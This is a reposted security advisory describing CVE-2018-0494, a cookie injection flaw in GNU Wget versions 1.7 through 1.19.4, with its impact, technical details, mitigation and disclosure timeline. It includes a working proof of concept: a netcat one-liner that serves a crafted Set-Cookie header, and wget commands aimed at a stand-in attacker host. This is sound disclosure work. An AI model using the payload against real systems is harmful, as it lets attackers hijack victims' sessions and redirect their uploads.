Twenty Year Anniversary

GNU Wget 1.19.4 Cookie Injection

GNU Wget 1.19.4 Cookie Injection
Posted May 7, 2018
Authored by Harry Sintonen

GNU Wget versions 1.7 through 1.19.4 suffer from a cookie injection vulnerability.

tags | exploit
advisories | CVE-2018-0494
MD5 | 3c4e4ced5155828eab13437319ee72a3

GNU Wget 1.19.4 Cookie Injection

Change Mirror Download
GNU Wget Cookie Injection [CVE-2018-0494]
=========================================
The latest version of this advisory is available at:
https://sintonen.fi/advisories/gnu-wget-cookie-injection.txt


Overview
--------

GNU Wget is susceptible to a malicious web server injecting arbitrary cookies to
the cookie jar file.


Description
-----------

Normally a website should not be able to set cookies for other domains. Due to
insufficient input validation GNU Wget can be tricked into storing arbitrary cookie
values to the cookie jar file, bypassing this security restriction.


Impact
------

An external attacker is able to inject arbitrary cookie values cookie jar file,
adding new or replacing existing cookie values.


Details
-------

The discovered vulnerability, described in more detail below, enables the attack
described here in brief.

1. The attacker controlled web site sends a specially crafted Set-Cookie -header
to inject a new authentication cookie for example.com, replacing the existing
one. In order to be successful the victim must perform a wget operation on the
attacker controller site, for example:
wget --load-cookies jar.txt --save-cookies jar.txt https://evil.invalid
2. Victim uses wget to post some secret the the api.example.com:
wget --load-cookies jar.txt --post-file secret.txt https://example.com/upload

Since the attacker was able to replace the authentication cookie for example.com,
the secret.txt data will be posted to attacker's account instead to that of the
victim.


Vulnerabilities
---------------

1. CWE-20: Improper Input Validation in Set-Cookie parsing [CVE-2018-0494]

The cookie parsing implementation does too lax input validation when parsing the
Set-Cookie response from the server. Consider the following malicious response:

HTTP/1.1 200 OK
Content-Length: 0
Set-Cookie: foo="bar
.google.com TRUE / FALSE 1900000000 injected cookie
";expires=Thursday, 01-Jan-2032 08:00:00 GMT


When parsed by Wget and stored to a cookie jar file it will appear as:

# HTTP cookie file.
# Generated by Wget on 2018-04-27 23:28:21.
# Edit at your own risk.

127.0.0.1:7777 FALSE / FALSE 1956556800 foo "bar
.google.com TRUE / FALSE 1900000000 injected cookie
"

Since the Wget cookie jar parser skips any leading spaces, the .google.com line
will be picked up.

Note: The order in which the hosts/domains are stored in the cookie jar is derived
from the hashing function used to speed up the lookups. If an existing cookie is
to be replaced the server hostname used to serve the Set-Cookie will need to be
carefully chosen to result in hash entry below the targeted domain. If not done,
the original cookie will be used instead of the injected one.


Proof of Concept
----------------

1. Set up a minimal web server, good for 1 request:
$ echo -ne 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\nSet-Cookie: foo="bar\r\n\x20.google.com\tTRUE\t/\tFALSE\t1900000000\tinjected\tcookie\r\n\t";expires=Thursday, 01-Jan-2032 08:00:00 GMT\r\n\r\n' | nc -v -l 7777

2. Fetch the evil url:
$ wget --save-cookies jar.txt http://127.0.0.1:7777/plop

3. Examine the resulting cookie jar file:
$ cat jar.txt


Vulnerable versions
-------------------

The following GNU Wget versions are confirmed vulnerable:

- 1.7 thru 1.19.4


Mitigation
----------

1. Upgrade to GNU Wget 1.19.5 or later, or to appropriate security updated package
in your distribution


Credits
-------

The vulnerability was discovered by Harry Sintonen / F-Secure Corporation.


Timeline
--------

2018.04.26 discovered & reported the vulnerability
2018.04.27 CVE-2018-0494 assigned
2018.05.06 GNU Wget 1.19.5 released with the fix
2018.05.06 public disclosure of the advisory


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    10 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close